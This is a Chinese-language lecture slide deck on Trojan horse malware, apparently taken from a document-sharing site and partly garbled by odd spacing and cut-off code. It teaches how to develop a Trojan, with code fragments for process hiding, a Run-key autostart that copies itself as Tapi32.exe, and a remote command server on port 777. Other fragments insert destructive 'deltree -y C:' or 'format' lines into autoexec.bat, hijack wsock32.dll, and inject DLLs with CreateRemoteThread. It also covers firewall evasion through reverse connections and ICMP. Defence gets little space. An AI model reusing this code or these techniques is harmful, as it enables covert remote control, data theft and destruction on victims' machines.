《特洛伊木馬》PPT課件
《《特洛伊木馬》PPT課件》由會(huì)員分享,可在線閱讀,更多相關(guān)《《特洛伊木馬》PPT課件(83頁珍藏版)》請(qǐng)?jiān)谘b配圖網(wǎng)上搜索。
1、一 種 特 殊 的 病 毒 特 洛 伊 木 馬( Trojan horse) 特 洛 伊 木 馬 電 影 圖 片 本 章 的 學(xué) 習(xí) 目 標(biāo) 掌 握 特 洛 伊 木 馬 的 概 念 了 解 木 馬 技 術(shù) 的 發(fā) 展 趨 勢(shì) 掌 握 木 馬 開 發(fā) 實(shí) 例 理 解 木 馬 的 關(guān) 鍵 技 術(shù) 掌 握 木 馬 攻 擊 的 方 法 掌 握 木 馬 防 范 方 法 章 節(jié) 主 要 內(nèi) 容 1 木 馬 的 概 述 2 木 馬 程 序 的 開 發(fā) 實(shí) 例 3 木 馬 程 序 的 關(guān) 鍵 技 術(shù) 4 木 馬 攻 擊 的 清 除 及 其 相 關(guān) 經(jīng) 驗(yàn) 5 木 馬 檢 測(cè) 及 清 除 代 碼 特 洛 伊 木
2、 馬 (Trojan Horse) 是 一 種 與 遠(yuǎn) 程 計(jì) 算 機(jī) 之 間 建 立 起 連 接 , 使 遠(yuǎn) 程計(jì) 算 機(jī) 能 夠 通 過 網(wǎng) 絡(luò) 控 制 用 戶 計(jì) 算 機(jī) 系 統(tǒng) 并 且可 能 造 成 用 戶 的 信 息 損 失 、 系 統(tǒng) 損 壞 甚 至 癱 瘓的 程 序 。 木 馬 的 組 成 硬 件 : 控 制 端 、 服 務(wù) 端 、 Internet 軟 件 : 控 制 端 程 序 、 木 馬 程 序 、 木 馬 配 置 程 序 連 接 : 控 制 、 服 務(wù) 端 IP, 控 制 、 服 務(wù) 端 Port 流 行 木 馬 的 基 本 特 征 1、 隱 蔽 性 是 其 首 要 的
3、特 征 木 馬 和 遠(yuǎn) 程 控 制 軟 件 的 最 主 要 區(qū) 別 不 產(chǎn) 生 圖 標(biāo) 不 出 現(xiàn) 在 任 務(wù) 管 理 器 中 。 2、 它 具 有 自 動(dòng) 運(yùn) 行 性 啟 動(dòng) 文 件 、 啟 動(dòng) 組 、 注 冊(cè) 表 3、 木 馬 程 序 具 有 欺 騙 性 名 字 方 式 : 字 母 “ l”與 數(shù) 字 “ 1”、 字 母 “ o”與 數(shù) 字 “ 0” 相 同 文 件 名 但 不 同 路 徑 常 用 圖 標(biāo) : Zip 4、 具 備 自 動(dòng) 恢 復(fù) 功 能 (高 級(jí) 技 術(shù) ) 5、 能 自 動(dòng) 打 開 特 別 的 端 口 6、 功 能 的 特 殊 性 搜 索 緩 存 中 的 口 令 、 設(shè)
4、 置 口 令 、 掃 描 目 標(biāo) 機(jī) 器 的 IP地 址 、進(jìn) 行 鍵 盤 記 錄 、 遠(yuǎn) 程 注 冊(cè) 表 的 操 作 、 以 及 鎖 定 鼠 標(biāo) 等功 能 7、 黑 客 組 織 趨 于 公 開 化 木 馬 的 分 類 1、 遠(yuǎn) 程 控 制 型 木 馬BO和 冰 河 2、 發(fā) 送 密 碼 型 木 馬 3、 鍵 盤 紀(jì) 錄 型 木 馬 4、 破 壞 型 木 馬 5、 FTP型 木 馬 遠(yuǎn) 程 控 制 、 木 馬 與 病 毒 木 馬 和 控 制 軟 件 目 的 不 同 有 些 木 馬 具 有 控 制 軟 件 的 所 有 功 能 是 否 隱 藏 木 馬 和 普 通 病 毒 傳 播 性 ( 木 馬 不
5、 如 病 毒 ) 兩 者 相 互 融 合 木 馬 程 序 YAI采 用 了 病 毒 技 術(shù) “ 紅 色 代 碼 ” 病 毒 已 經(jīng) 具 有 木 馬 的 遠(yuǎn) 程 控 制 功 能 木 馬 的 發(fā) 展 方 向 1、 跨 平 臺(tái) 性 2、 模 塊 化 設(shè) 計(jì) 3、 更 新 更 強(qiáng) 的 感 染 模 式 4、 即 時(shí) 通 知 5、 更 強(qiáng) 更 多 的 功 能 2 木 馬 程 序 的 開 發(fā) 實(shí) 例 編 程 語 言 選 擇 以 CSocket為 基 類 生 成 CMySocket類 。CMySocket類 的 功 能 是 用 來 使 本 程 序 變 成一 個(gè) 服 務(wù) 器 程 序 。 自 動(dòng) 隱 藏 / Wi
6、n9x隱 藏 技 術(shù) DWORD dwVersion = GetVersion(); / 得 到 操 作 系 統(tǒng) 的 版 本 號(hào) if (dwVersion = 0 x80000000) / 操 作 系 統(tǒng) 是 Win9x,不 是 WinNt typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD); /定 義 RegisterServiceProcess() 函 數(shù) 的 原 型 HINSTANCE hDLL; LPREGISTERSERVICEPROCESS lpRegisterServiceProcess; hDLL =
7、 LoadLibrary(KERNEL32.dll); /加 載 RegisterServiceProcess()函 數(shù) 所 在 的 動(dòng) 態(tài) 鏈 接 庫(kù) KERNEL32.DLL lpRegisterServiceProcess =(LPREGISTERSERVICEPROCESS)GetProcAddress( hDLL,RegisterServiceProcess); /得 到 RegisterServiceProcess()函 數(shù) 的 地 址 lpRegisterServiceProcess(GetCurrentProcessId(),1); /執(zhí) 行 RegisterServicePr
8、ocess()函 數(shù) ,隱 藏 本 進(jìn) 程 FreeLibrary(hDLL); /卸 載 動(dòng) 態(tài) 鏈 接 庫(kù) 用 RegisterServiceProcess函 數(shù)實(shí) 現(xiàn) 后 臺(tái) 服 務(wù) 進(jìn) 程 。 未 公 開 核 心 函 數(shù) Win NT 2K下 怎 么 實(shí) 現(xiàn) ? 自 動(dòng) 加 載 木 馬 的 第 一 次 執(zhí) 行 如 何 實(shí) 現(xiàn) 第 一 次 以 后 的 自 動(dòng) 加 載 ? 注 冊(cè) 表 代 碼 功 能 :HKLMSoftwareMicrosoftWindowsCurrentVersionRun%System%Tapi32 CopyFile( commandline, SystemPath+T
9、api32.exe, FALSE); /將 自 己 拷 貝 到 %System%目 錄 下 ,并 改 名 為 Tapi32.exe,偽 裝 起 來 registry-Open(HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersionRun); registry-QueryValue(TempPath,crossbow, registry-SetValue(SystemPath+Tapi32.exe, crossbow ); Server端 功 能 命 令 接 收 接 下 來 就 是 啟 動(dòng) Server端 的 Socket來 接 收 客
10、 戶 端 的 命 令 。 Port 777 核 心 代 碼 : pSocket-Receive( lpBuf, 1000); /接 收 客 戶 端 數(shù) 據(jù) if(strnicmp(lpBuf,CMD:,4) = 0) ExecuteCommand( lpBuf , FALSE); /執(zhí) 行 遠(yuǎn) 端 應(yīng) 用 程 序 else if(strnicmp(lpBuf,!SHUT,5) = 0) SendText( Exit program!, pSocket ); OnExit(); /退 出 木 馬 程 序 將 要 實(shí) 現(xiàn) 的 功 能 : CMD 執(zhí) 行 應(yīng) 用 程 序!SHUT 退 出 木 馬FI
11、LEGET 獲 得 遠(yuǎn) 端 文 件 EDITCONF 編 輯 配 置 文 件LIST 列 目 錄VIEW 察 看 文 件 內(nèi) 容CDOPEN 關(guān) CDCDCLOSE 開 CDREBOOT 重 啟 遠(yuǎn) 端 機(jī) 器 Server端 功 能 修 改 配 置 Autoexec.bat和 Config.sys 代 碼 :_chmod(c:autoexec.bat, S_IREAD | S_IWRITE);_chmod(c:config.sys, S_IREAD | S_IWRITE); fwrite(content,sizeof(char),strlen(content),fp);/寫 入 添 加 的
12、語 句 , 例 如 deltree -y C:或 者format q C: Server端 功 能 實(shí) 現(xiàn) list命 令 CFileFind finder; BOOL bWorking = finder.FindFile(*.*); while (bWorking) /循 環(huán) 得 到 下 一 層 文 件 或 目 錄 bWorking = finder.FindNextFile(); if ( finder.IsDots() | finder.IsDirectory() ) strResult = Dire: ; else strResult = File: ; strResult += fi
13、nder.GetFileName(); strResult += n; SendText( strResult, pSocket ); /返 回 Return_Text變 量 的 內(nèi) 容 Server端 功 能 實(shí) 現(xiàn) View命 令 int Read_Num=fread(temp_content, 1, 300, fp); /從 目 標(biāo) 文 件 中 讀 入 前 300個(gè) 字 符 while(Read_Num=300) strResult += (CString)temp_content; /strResult的 內(nèi) 容 加 上 剛 才 的 字 符 for(int i=0;iSend(void
14、 *)m_msg, m_msg.GetLength() ); 從 服 務(wù) 器 端 獲 取 反 饋 信 息 ReceiveResult(m_msg); 斷 開 Socket通 訊 的 代 碼 如 下 : m_ptrComSocket-Close(); 代 碼 及 演 示 下 列 問 題 就 值 得 仔 細(xì) 考 慮 : 首 先 是 程 序 的 大 小 問 題 ; 還 有 啟 動(dòng) 方 式 的 選 擇 ; 木 馬 的 功 能 還 可 以 大 大 擴(kuò) 充 ; 殺 掉 防 火 墻 和 殺 毒 軟 件 ; 針 對(duì) 來 自 反 匯 編 工 具 的 威 脅 ; 自 動(dòng) 卸 載 等 。 3 木 馬 程 序 的 關(guān)
15、 鍵 技 術(shù) 木 馬 程 序 技 術(shù) 發(fā) 展 的 4個(gè) 階 段 : 第 一 階 段 主 要 實(shí) 現(xiàn) 簡(jiǎn) 單 的 密 碼 竊 取 、 發(fā) 送 等 功 能 , 沒 有 什 么 特 別之 處 。 第 二 階 段 在 技 術(shù) 上 有 了 很 大 的 進(jìn) 步 , 主 要 體 現(xiàn) 在 隱 藏 、 控 制 等 方面 。 國(guó) 內(nèi) 冰 河 可 以 說 是 這 個(gè) 階 段 的 典 型 代 表 之 一 。 第 三 階 段 在 數(shù) 據(jù) 傳 遞 技 術(shù) 上 做 了 不 小 的 改 進(jìn) , 出 現(xiàn) 了 基 于 ICMP協(xié)議 的 木 馬 , 這 種 木 馬 利 用 ICMP協(xié) 議 的 畸 形 報(bào) 文 傳 遞 數(shù) 據(jù) , 增
16、 加 了查 殺 的 難 度 。 第 四 階 段 在 進(jìn) 程 隱 藏 方 面 做 了 非 常 大 的 改 動(dòng) , 采 用 了 內(nèi) 核 插 入 式的 嵌 入 方 式 , 利 用 遠(yuǎn) 程 插 入 線 程 技 術(shù) 嵌 入 DLL線 程 , 或 者 掛 接PSAPI實(shí) 現(xiàn) 木 馬 程 序 的 隱 藏 。 即 使 在 Windows NT/2K下 , 這 些 技術(shù) 都 達(dá) 到 了 良 好 的 隱 藏 效 果 。 相 信 , 第 五 代 木 馬 的 技 術(shù) 更 加 先 進(jìn) 。 Socket技 術(shù) 客 戶 機(jī) 請(qǐng) 求 響 應(yīng) 進(jìn) 程 通 訊 設(shè) 施 服 務(wù) 器 請(qǐng) 求 響 應(yīng) 服 務(wù) 器 socket( )
17、bind( ) readfrom( ) sendto( ) 阻 塞 , 等 待 客 戶 數(shù) 據(jù) 處 理 服 務(wù) 請(qǐng) 求 socket( ) bind( ) sendto( ) readfrom( ) 客 戶 機(jī) 服 務(wù) 請(qǐng) 求 服 務(wù) 應(yīng) 答 無 連 接 套 接 應(yīng) 用 程 序 時(shí) 序 圖 close( ) close( ) 服 務(wù) 器 socket( ) bind( ) listen( ) 阻 塞 , 等 待 客 戶 數(shù) 據(jù) 處 理 服 務(wù) 請(qǐng) 求 socket( ) connect( ) write( ) 客 戶 機(jī) 請(qǐng) 求 數(shù) 據(jù) 應(yīng) 答 數(shù) 據(jù) 面 向 連 接 套 接 應(yīng) 用 程 序
18、時(shí) 序 圖 read( ) read( ) accept( ) write( ) 建 立 連 接 close( ) close( ) 重 要 的 系 統(tǒng) 文 件 win.ini文 件 中 的 啟 動(dòng) 加 載 項(xiàng) : windwos段中 有 如 下 加 載 項(xiàng) :run=Load= system.ini中 的 啟 動(dòng) 加 載 項(xiàng) : 在 BOOT子 項(xiàng)中 的 “ Shell”項(xiàng) :shell= 修 改 注 冊(cè) 表 HKEY_CLASSES_ROOT: 此 處 存 儲(chǔ) 的 信 息 可 以 確 保 當(dāng)使 用 Windows資 源 管 理 器 打 開 文 件 時(shí) , 將 使 用 正 確 的 應(yīng) 用程
19、序 打 開 對(duì) 應(yīng) 的 文 件 類 型 。 HKEY_CURRENT_USER: 存 放 當(dāng) 前 登 錄 用 戶 的 有 關(guān) 信息 。 用 戶 文 件 夾 、 屏 幕 顏 色 和 “ 控 制 面 板 ” 設(shè) 置 存 儲(chǔ) 在 此處 。 該 信 息 被 稱 為 用 戶 配 置 文 件 。 HKEY_LOCAL_MACHINE: 包 含 針 對(duì) 該 計(jì) 算 機(jī) ( 對(duì) 于 任何 用 戶 ) 的 配 置 信 息 。 HKEY_USERS: 存 放 計(jì) 算 機(jī) 上 所 有 用 戶 的 配 置 文 件 。 HKEY_CURRENT_CONFIG: 包 含 本 地 計(jì) 算 機(jī) 在 系 統(tǒng) 啟動(dòng) 時(shí) 所 用
20、的 硬 件 配 置 文 件 信 息 。 HKEY_DYN_DATA: 記 錄 系 統(tǒng) 運(yùn) 行 時(shí) 刻 的 狀 態(tài) 。 (Run), (RunOnce), (RunOnceEx), (RunServices), (RunServicesOnce) 20多 個(gè) API函 數(shù) 修 改 文 件 關(guān) 聯(lián) 當(dāng) 你 打 開 了 一 個(gè) 已 修 改 了 打 開 關(guān) 聯(lián) 的 文 件時(shí) , 木 馬 也 就 開 始 了 它 的 運(yùn) 作 。 選 擇 文 件 格 式 中 的 “ 打 開 ” 、 “ 編 輯 ” 、“ 打 印 ” 項(xiàng) 目 。 例 如 冰 河 木 馬 病 毒HKEY_CLASSES_ROOTtxtfiles
21、hellopencommand中 的 鍵 值 “ c:windowsnotepad.exe %1”, 改 為 “ sysexplr.exe %1”。 遠(yuǎn) 程 屏 幕 抓 取 如 果 鍵 盤 和 鼠 標(biāo) 事 件 記 錄 不 能 滿 意 時(shí) , 需 要 抓 取 被 控 制 端 屏 幕 , 形 成 一 個(gè) 位 圖 文件 , 然 后 把 該 文 件 發(fā) 送 到 控 制 端 計(jì) 算 機(jī) 顯示 出 來 。 輸 入 設(shè) 備 控 制 通 過 網(wǎng) 絡(luò) 控 制 目 標(biāo) 機(jī) 的 鼠 標(biāo) 和 鍵 盤 , 以 達(dá)到 模 擬 鼠 標(biāo) 和 鍵 盤 的 功 能 。 使 用 技 術(shù) : Keybd_event, mouse_e
22、vent /模 擬 A鍵 按 鍵 過 程 keybd_event(65,0,0,0); keybd_event(65,0,KEYEVENTF_KEYUP,0); /模 擬 按 下 左 鍵 GetCursorPos( SetCursorPos(lpPoint.x, lpPoint.y); mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 遠(yuǎn) 程 文 件 管 理 操 作 目 標(biāo) 機(jī) 文 件 的 方 式 通 常 有 兩 種 : 一 種 是 共 享 目 標(biāo) 機(jī) 的 硬 盤 , 進(jìn) 行
23、任 意 的 文 件 操 作 ; 另 一 種 是 把 自 己 的 計(jì) 算 機(jī) 配 置 為 FTP( File Transfer Protocol, 文 件 傳 輸 協(xié) 議 ) 服 務(wù) 器 。 使 用 函 數(shù) CInternetSession GetFtpConnection GetFile PutFile 共 享 硬 盤 數(shù) 據(jù) Windows 2000/NT/XP: HKEY_LOCAL_MACHINESYSTEMControlSet001ServiceslanmanserverShares Windows 9x: HKEY_LOCAL_MACHINESoftwareMicrosoftWind
24、owsCurrentVersionNetworkLanMan Flags /類 型 Path /目 錄 Remark /備 注 Type Parm1enc Parm2enc 隱 藏 技 術(shù) 反 彈 式 木 馬 技 術(shù) 定 義 : 利 用 防 火 墻 對(duì) 內(nèi) 部 發(fā) 起 的 連 接 請(qǐng) 求 無 條 件 信 任的 特 點(diǎn) , 假 冒 是 系 統(tǒng) 的 合 法 網(wǎng) 絡(luò) 請(qǐng) 求 來 取 得 對(duì)外 的 端 口 , 再 通 過 某 些 方 式 連 接 到 木 馬 的 客 戶端 , 從 而 竊 取 用 戶 計(jì) 算 機(jī) 的 資 料 同 時(shí) 遙 控 計(jì) 算機(jī) 本 身 。 反 彈 式 木 馬 訪 問 客 戶 端 的
25、 80端 口 , 防 火 墻 無 法 限 制 。 例 如 , “ 網(wǎng) 絡(luò) 神 偷 ” 防 范 : 使 用 個(gè) 人 防 火 墻 , 其 采 用 獨(dú) 特 的 “ 內(nèi) 墻 ” 方 式 應(yīng) 用程 序 訪 問 網(wǎng) 絡(luò) 規(guī) 則 。 隱 藏 技 術(shù) 用 ICMP方 法 隱 藏 連 接 TCP UDP木 馬 的 弱 點(diǎn) : 等 待 和 運(yùn) 行 的 過 程 中 , 始 終 有 一個(gè) 和 外 界 聯(lián) 系 的 端 口 打 開 著 。 原 理 : 由 于 ICMP報(bào) 文 是 由 系 統(tǒng) 內(nèi) 核 或 進(jìn) 程 直 接 處 理 而 不 是 通 過 端 口 , 這就 給 木 馬 一 個(gè) 擺 脫 端 口 的 絕 好 機(jī) 會(huì) 。
26、 木 馬 將 自 己 偽 裝 成 一 個(gè) Ping的 進(jìn) 程 , 系 統(tǒng) 就 會(huì) 將ICMP_ECHOREPLY( Ping的 回 包 ) 的 監(jiān) 聽 、 處 理 權(quán) 交 給 木 馬 進(jìn)程 。 一 旦 事 先 約 定 好 的 ICMP_ECHOREPLY包 出 現(xiàn) ( 可 以 判 斷 包 大 小 、ICMP_SEQ等 特 征 ) , 木 馬 就 會(huì) 接 受 、 分 析 并 從 報(bào) 文 中 解 碼 出 命令 和 數(shù) 據(jù) 。 即 使 防 火 墻 過 濾 ICMP報(bào) 文 , 一 般 也 不 過 率 ICMP_ECHOREPLY包 , 否 則 就 不 能 進(jìn) 行 Ping操 作 了 。 因 此 , 具
27、 有 對(duì) 于 防 火 墻 和 網(wǎng) 關(guān) 的 穿透 能 力 。 隱 藏 技 術(shù) 隱 藏 端 口 為 了 隱 藏 端 口 , 采 用 兩 種 思 路 : 寄 生 和 潛 伏 寄 生 就 是 找 一 個(gè) 已 經(jīng) 打 開 的 端 口 , 寄 生 其 上 , 平時(shí) 只 是 監(jiān) 聽 , 遇 到 特 殊 的 指 令 就 進(jìn) 行 解 釋 執(zhí) 行 。 潛 伏 是 說 使 用 IP協(xié) 議 族 中 的 其 它 協(xié) 議 而 不 是 TCP或 UDP來 進(jìn) 行 通 訊 , 從 而 瞞 過 Netstat和 端 口 掃 描軟 件 。 一 種 比 較 常 見 的 潛 伏 手 段 是 使 用 ICMP協(xié) 議 。 其 他 方 法
28、 : 對(duì) 網(wǎng) 卡 或 Modem進(jìn) 行 底 層 的 編 程 。 隱 藏 技 術(shù) NT進(jìn) 程 的 隱 藏 進(jìn) 程 和 端 口 聯(lián) 系 在 一 起 的 方 法 很 常 見 。 因此 , 需 要 隱 藏 進(jìn) 程 來 達(dá) 到 隱 藏 木 馬 的 目 的 。 實(shí) 現(xiàn) 進(jìn) 程 隱 藏 有 兩 種 思 路 : 第 一 是 讓 系 統(tǒng) 管 理 員 看 不 見 ( 或 者 視 而 不 見 )你 的 進(jìn) 程 ; 第 二 是 不 使 用 進(jìn) 程 。 能 否 使 用 第 一 種 方 式 ? 在 Windows中 有 多 種 方 法 能 夠 看 到 進(jìn) 程 的 存 在 : PSAPI( Process Status A
29、PI) ; PDH( Performance Data Helper) ; ToolHelp API。 如 果 我 們 能 夠 欺 騙 用 戶 和 入 侵 檢 測(cè) 軟 件 用 來 查 看 進(jìn) 程 的 函數(shù) ( 例 如 截 獲 相 應(yīng) 的 API調(diào) 用 , 替 換 返 回 的 數(shù) 據(jù) ) , 我 們就 完 全 能 實(shí) 現(xiàn) 進(jìn) 程 隱 藏 。 但 是 存 在 兩 個(gè) 難 題 : 一 來 我 們 并 不 知 道 用 戶 和 入 侵 軟 件 使 用 的 是 什 么 方 法 來 查 看 進(jìn) 程列 表 ; 二 來 如 果 我 們 有 權(quán) 限 和 技 術(shù) 實(shí) 現(xiàn) 這 樣 的 欺 騙 , 我 們 就 一 定
30、能 使 用其 它 的 方 法 更 容 易 的 實(shí) 現(xiàn) 進(jìn) 程 的 隱 藏 。 使 用 第 二 種 方 式 最 流 行 。 DLL是 Windows系 統(tǒng) 的 另 一 種 “ 可 執(zhí) 行 文 件 ” 。 DLL文 件是 Windows的 基 礎(chǔ) , 因 為 所 有 的 API函 數(shù) 都 是 在 DLL中 實(shí)現(xiàn) 的 。 DLL文 件 沒 有 程 序 邏 輯 , 是 由 多 個(gè) 功 能 函 數(shù) 構(gòu) 成 ,它 并 不 能 獨(dú) 立 運(yùn) 行 , 一 般 都 是 由 進(jìn) 程 加 載 并 調(diào) 用 的 。 假 設(shè) 我 們 編 寫 了 一 個(gè) 木 馬 DLL, 并 且 通 過 別 的 進(jìn) 程 來 運(yùn) 行它 , 那
31、 么 無 論 是 入 侵 檢 測(cè) 軟 件 還 是 進(jìn) 程 列 表 中 , 都 只 會(huì) 出現(xiàn) 那 個(gè) 進(jìn) 程 而 并 不 會(huì) 出 現(xiàn) 木 馬 DLL, 如 果 那 個(gè) 進(jìn) 程 是 可 信進(jìn) 程 , ( 例 如 資 源 管 理 器 Explorer.exe, 沒 人 會(huì) 懷 疑 它 是木 馬 吧 ? ) 那 么 我 們 編 寫 的 DLL作 為 那 個(gè) 進(jìn) 程 的 一 部 分 ,也 將 成 為 被 信 賴 的 一 員 而 為 所 欲 為 。 用 DLL實(shí) 現(xiàn) 木 馬 功 能用 DLL實(shí) 現(xiàn) 木 馬 功 能 , 然 后 , 用 其 他 程 序 啟動(dòng) 該 DLL. 有 三 種 方 式 : 最 簡(jiǎn) 單
32、的 方 式 RUNDLL32 特 洛 伊 DLL 線 程 插 入 技 術(shù) 最 簡(jiǎn) 單 的 方 式 RUNDLL32Rundll32 DllFileName FuncNameRundll32.exe MyDll.dll MyFunc 程 序 演 示 (參 見 : .othercodetestdll) 比 較 高 級(jí) 的 方 式 特 洛 伊 DLL 特 洛 伊 DLL( 欺 騙 DLL) 的 工 作 原 理 是 使 用 欺 騙 DLL替 換 常 用 的DLL文 件 , 通 過 函 數(shù) 轉(zhuǎn) 發(fā) 器 將 正 常 的 調(diào) 用 轉(zhuǎn) 發(fā) 給 原 DLL, 截 獲 并 處理 特 定 的 消 息 。 函 數(shù) 轉(zhuǎn)
33、 發(fā) 器 forward的 認(rèn) 識(shí) 。 Visual Studio 7命 令 提 示 符 dumpBin -Exports c:windowssystem32Kernel32.dll | more 演 示 程 序 實(shí) 現(xiàn) / Function forwarders to functions in DllWork #pragma comment(linker, /export:ForwardFunc=Kernel32.HeapCreate) 演 示 ( 參 見 : .othercodetestdll源 代 碼 ) 實(shí) 現(xiàn) 描 述 我 們 知 道 WINDOWS的 Socket1.x的 函 數(shù) 都
34、 是 存放 在 wsock32.dll中 的 , 那 么 我 們 自 己 寫 一 個(gè)wsock32.dll文 件 , 替 換 掉 原 先 的 wsock32.dll( 將 原 先 的 DLL文 件 重 命 名 為 wsockold.dll) 我們 的 wsock32.dll只 做 兩 件 事 , 一 是 如 果 遇 到 不認(rèn) 識(shí) 的 調(diào) 用 , 就 直 接 轉(zhuǎn) 發(fā) 給 wsockold.dll( 使 用函 數(shù) 轉(zhuǎn) 發(fā) 器 forward) ; 二 是 遇 到 特 殊 的 請(qǐng) 求( 事 先 約 定 的 ) 就 解 碼 并 處 理 。 特 洛 伊 DLL的 弱 點(diǎn) : system32目 錄 下
35、有 一 個(gè) dllcache的 目 錄 , 這 個(gè) 目 錄 中 存放 著 大 量 的 DLL文 件 , 一 旦 操 作 系 統(tǒng) 發(fā) 現(xiàn) 被 保 護(hù) 的 DLL文 件 被 篡 改 ( 數(shù) 字 簽 名 技 術(shù) ) , 它 就 會(huì) 自 動(dòng) 從 dllcache中 恢 復(fù) 這 個(gè) 文 件 。 有 些 方 法 可 以 繞 過 dllcache的 保 護(hù) : 先 更 改 dllcache目 錄 中 的 備 份 再 修 改 DLL文 件 利 用 KnownDLLs鍵 值 更 改 DLL的 默 認(rèn) 啟 動(dòng) 路 徑 等 同 時(shí) 特 洛 伊 DLL方 法 本 身 也 有 一 些 漏 洞 ( 例 如 修 復(fù) 安 裝
36、 、安 裝 補(bǔ) 丁 、 升 級(jí) 系 統(tǒng) 、 檢 查 數(shù) 字 簽 名 等 方 法 都 有 可 能導(dǎo) 致 特 洛 伊 DLL失 效 ) , 所 以 這 個(gè) 方 法 也 不 能 算 是 DLL木 馬 的 最 優(yōu) 選 擇 。 最 高 級(jí) 方 式 動(dòng) 態(tài) 嵌 入 技 術(shù)DLL木 馬 的 最 高 境 界 是 動(dòng) 態(tài) 嵌 入 技 術(shù) , 動(dòng) 態(tài) 嵌入 技 術(shù) 指 的 是 將 自 己 的 代 碼 嵌 入 正 在 運(yùn) 行 的 進(jìn)程 中 的 技 術(shù) 。 多 種 嵌 入 方 式 : 窗 口 Hook、 掛接 API、 遠(yuǎn) 程 線 程 。 隱 藏 技 術(shù) 遠(yuǎn) 程 線 程 技 術(shù) 遠(yuǎn) 程 線 程 技 術(shù) 指 的 是 通
37、 過 在 另 一 個(gè) 進(jìn) 程 中創(chuàng) 建 遠(yuǎn) 程 線 程 的 方 法 進(jìn) 入 那 個(gè) 進(jìn) 程 的 內(nèi) 存地 址 空 間 。 通 過 CreateRemoteThread也 同 樣 可 以 在 另一 個(gè) 進(jìn) 程 內(nèi) 創(chuàng) 建 新 線 程 , 新 線 程 同 樣 可 以共 享 遠(yuǎn) 程 進(jìn) 程 的 地 址 空 間 。 HANDLE CreateRemoteThread( HANDLE hProcess,PSECURITY_ATTRIBUTES psa, DWORD dwStackSize,PTHREAD_START_ROUTINE pfnStartAddr,PVOID pvParam, DWORD fd
38、wCreate,PDWORD pdwThreadId); 一 個(gè) 地 址 DWORD WINAPI ThreadFunc(PVOID pvParam); HINSTANCE LoadLibrary(PCTSTR pszLibFile); 兩 個(gè) 函 數(shù) 非 常 類 似 需 解 決 的 問 題 : 第 一 個(gè) 問 題 , 獲 取 LoadLibrary的 實(shí) 際 地 址 。 PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT(Kernel32), Load
39、LibraryA); 第 二 個(gè) 問 題 , 把 D L L路 徑 名 字 符 串 放 入 宿 主 進(jìn) 程 。 使用 : VirtualAllocEx, VirtualFreeEx , ReadProcessMemory ,WriteProcessMemory 等 函 數(shù) 。 操 作 步 驟 做 一 個(gè) 歸 納 : 1) 使 用 Vi r t u a l A l l o c E x函 數(shù) , 分 配 遠(yuǎn) 程 進(jìn) 程 的 地 址空 間 中 的 內(nèi) 存 。 2) 使 用 Wr i t e P r o c e s s M e m o r y函 數(shù) , 將 D L L的路 徑 名 拷 貝 到 第 一
40、個(gè) 步 驟 中 已 經(jīng) 分 配 的 內(nèi) 存 中 。 3) 使 用 G e t P r o c A d d r e s s函 數(shù) , 獲 取 L o a d L i b r a r y A或 L o a d L i b r a t y W函 數(shù) 的 實(shí) 地 址 ( 在 K e r n e l 3 2 . d l l中 ) 。 4) 使 用 C r e a t e R e m o t e T h r e a d函 數(shù) , 在 遠(yuǎn) 程 進(jìn)程 中 創(chuàng) 建 一 個(gè) 線 程 , 它 調(diào) 用 正 確 的 L o a d L i b r a r y函 數(shù) ,為 它 傳 遞 第 一 個(gè) 步 驟 中 分 配 的
41、內(nèi) 存 的 地 址 。 5) 使 用 Vi r t u a l F r e e E x函 數(shù) , 釋 放 第 一 個(gè) 步驟 中 分 配 的 內(nèi) 存 。 6) 使 用 G e t P r o c A d d r e s s函 數(shù) , 獲 得 F r e e L i b r a r y函 數(shù) 的 實(shí) 地 址 ( 在 K e r n e l 3 2 . d l l中 ) 。 7) 使 用 C r e a t e R e m o t e T h r e a d函 數(shù) , 在遠(yuǎn) 程 進(jìn) 程 中 創(chuàng) 建 一 個(gè) 線 程 , 它 調(diào) 用 F r e e L i b r a r y函 數(shù) , 傳 遞 遠(yuǎn) 程
42、D L L的 H I N S TA N C E。 看 代 碼 及 演 示 ( 參 見 : . othercodeinjlib 和 Imgwalk) 服 務(wù) 器 端 程 序 的 包 裝 與 加 密 一 個(gè) 試 驗(yàn) : text.txt, 其 內(nèi) 容 為 “ This is for test!” C:type text.txtTest.exe 運(yùn) 行 Test.exe 演 示 ( 參 見 : .othercoebindexe) 木 馬 會(huì) 把 一 些 配 置 信 息 放 在 exe文 件 的 最 后 。例 如 , 冰 河 木 馬 4 木 馬 攻 擊 的 方 法 及 相 關(guān) 經(jīng) 驗(yàn) 1 木 馬 病
43、毒 的 常 用 騙 術(shù) 2 全 面 防 治 木 馬 病 毒 3 幾 種 常 見 木 馬 病 毒 的 殺 除 方 法 4 已 知 木 馬 病 毒 的 端 口 列 表 木 馬 病 毒 的 常 用 騙 術(shù) 1.修 改 批 處 理Autoexec.bat(自 動(dòng) 批 處 理 , 在 引 導(dǎo) 系 統(tǒng) 時(shí) 執(zhí)行 ) Winstart.bat(在 啟 動(dòng) GUI圖 形 界 面 環(huán) 境 時(shí) 執(zhí) 行 ) Dosstart.bat(在 進(jìn) 入 MS-DOS方 式 時(shí) 執(zhí) 行 ) 2.修 改 系 統(tǒng) 配 置System.iniWin.ini 3.借 助 自 動(dòng) 運(yùn) 行 功 能 根 目 錄 下 新 建 一 個(gè) Aut
44、orun.inf autorun open=Notepad.exe 4.通 過 注 冊(cè) 表 中 的 Run來 啟 動(dòng) 5.通 過 文 件 關(guān) 聯(lián) 啟 動(dòng) 6.通 過 API HOOK啟 動(dòng) 利 用 經(jīng) 常 使 用 的 API啟 動(dòng) 木 馬 7.通 過 VXD啟 動(dòng) 寫 成 Vxd并 寫 入 HKEY_ LOCAL_MACHINESystemCurrentControlSetServicesVxD 8.通 過 瀏 覽 網(wǎng) 頁 啟 動(dòng) 利 用 MIME的 漏 洞 。 9.利 用 Java applet 10.利 用 系 統(tǒng) 自 動(dòng) 運(yùn) 行 的 程 序 例 如 , ScanDisk等 程 序 , 在
